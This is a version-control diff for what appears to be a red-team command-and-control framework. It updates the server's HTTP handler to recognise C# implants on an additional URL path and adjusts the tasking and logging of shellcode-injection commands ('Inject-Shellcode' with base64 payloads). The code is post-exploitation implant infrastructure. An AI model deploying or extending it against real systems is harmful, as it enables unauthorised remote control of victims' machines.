Updated ProxyImplant for C#
parent
b4f994e300
commit
ea98e0ba94
|
@ -147,6 +147,8 @@ class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||||
implant_type = "OSX"
|
implant_type = "OSX"
|
||||||
if s.path == ("%s?c" % new_implant_url):
|
if s.path == ("%s?c" % new_implant_url):
|
||||||
implant_type = "C#"
|
implant_type = "C#"
|
||||||
|
if s.path == ("%s?p?c" % new_implant_url):
|
||||||
|
implant_type = "C#"
|
||||||
|
|
||||||
if implant_type == "C#":
|
if implant_type == "C#":
|
||||||
cookieVal = (s.cookieHeader).replace("SessionID=","")
|
cookieVal = (s.cookieHeader).replace("SessionID=","")
|
||||||
|
|
|
@ -559,7 +559,6 @@ def runcommand(command, randomuri):
|
||||||
if shellcodefile != None:
|
if shellcodefile != None:
|
||||||
arch = "64"
|
arch = "64"
|
||||||
new_task("run-exe Core.Program Core Inject-Shellcode %s%s" % (base64.b64encode(shellcodefile),params), randomuri)
|
new_task("run-exe Core.Program Core Inject-Shellcode %s%s" % (base64.b64encode(shellcodefile),params), randomuri)
|
||||||
new_task(command, randomuri)
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
print ("Error loading file: %s" % e)
|
print ("Error loading file: %s" % e)
|
||||||
|
|
||||||
|
|
10
Payloads.py
10
Payloads.py
File diff suppressed because one or more lines are too long
2
Tasks.py
2
Tasks.py
|
@ -22,6 +22,8 @@ def newTask(path):
|
||||||
|
|
||||||
if (command.lower().startswith("$shellcode64")) or (command.lower().startswith("$shellcode64")) :
|
if (command.lower().startswith("$shellcode64")) or (command.lower().startswith("$shellcode64")) :
|
||||||
print "Loading Shellcode",Colours.END
|
print "Loading Shellcode",Colours.END
|
||||||
|
elif (command.lower().startswith("run-exe core.program core inject-shellcode")) :
|
||||||
|
print command[0:150]+"......TRUNCATED......"+command[-80:],Colours.END
|
||||||
elif (command.lower().startswith("$shellcode86")) or (command.lower().startswith("$shellcode86")) :
|
elif (command.lower().startswith("$shellcode86")) or (command.lower().startswith("$shellcode86")) :
|
||||||
print "Loading Shellcode",Colours.END
|
print "Loading Shellcode",Colours.END
|
||||||
elif "upload-file" in command.lower():
|
elif "upload-file" in command.lower():
|
||||||
|
|
Loading…
Reference in New Issue